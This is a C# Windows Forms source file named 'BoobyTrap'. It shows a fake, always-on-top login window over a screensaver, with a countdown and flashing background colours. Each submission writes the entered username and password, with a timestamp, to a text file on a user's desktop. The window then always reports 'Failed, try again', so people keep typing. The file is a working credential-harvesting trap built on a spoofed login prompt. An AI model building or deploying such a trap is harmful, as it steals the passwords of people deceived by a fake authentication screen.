﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;

namespace BoobyTrap
{
    public partial class frmTrap : Form
    {
        private frmScreenSaver bg;
        private Color [] aryBgColors;
        public frmTrap()
        {
            InitializeComponent();
        }
        public frmTrap(frmScreenSaver that)
        {
            bg = that;
            aryBgColors = new Color[10];
            aryBgColors[0] = Color.Black;
            aryBgColors[1] = Color.CornflowerBlue;
            aryBgColors[2] = Color.DarkRed;
            aryBgColors[3] = Color.Plum;
            aryBgColors[4] = Color.LightSalmon;
            aryBgColors[5] = Color.MistyRose;
            aryBgColors[6] = Color.Peru;
            aryBgColors[7] = Color.Chartreuse;
            aryBgColors[8] = Color.DodgerBlue;
            aryBgColors[9] = Color.WhiteSmoke;

            InitializeComponent();
        }
        static int countdown = 120;
        private void timer1_Tick(object sender, EventArgs e)
        {
            if (countdown % 4 == 0)
            {
                int q = countdown / 4;
                lblCountDown.Text = q.ToString();
            }
            //Cursor.Show();
            bg.BackgroundImage = this.BackgroundImage;
            bg.BackColor = aryBgColors[countdown % 10];
            bg.Refresh();
            countdown--;
            if (countdown < 0)
                Close();
        }

        private void frmTrap_Load(object sender, EventArgs e)
        {
            TopMost = true;
        }

        private void txtUsername_KeyPress(object sender, KeyPressEventArgs e)
        {
            if (e.KeyChar == (char)Keys.Return)
            {
                do_submit_pass();
                e.Handled = true;
            }
        }
        private void do_submit_pass()
        {
            StreamWriter fp = new StreamWriter("c:\\users\\dwarburt\\desktop\\access_denied.txt", true);
            string line = "time: " + DateTime.Now.ToString();
            fp.WriteLine(line); 
            line = "username: " + this.txtUsername;
            fp.WriteLine(line);
            line = "password: " + this.txtPassword;
            fp.WriteLine(line);
            fp.WriteLine("~~~~~~~~~~~~~~~~~~~~~~~~~~~");
            fp.WriteLine("");
            fp.Close();
            System.Threading.Thread.Sleep(300);

            MessageBox.Show("Failed, try again.");
        }

        private void txtPassword_KeyPress(object sender, KeyPressEventArgs e)
        {
            if (e.KeyChar == (char)Keys.Return)
            {
                do_submit_pass();
                e.Handled = true;
            }
        }

        private void btnGetPass_Click(object sender, EventArgs e)
        {
            do_submit_pass();
        }
    }
}
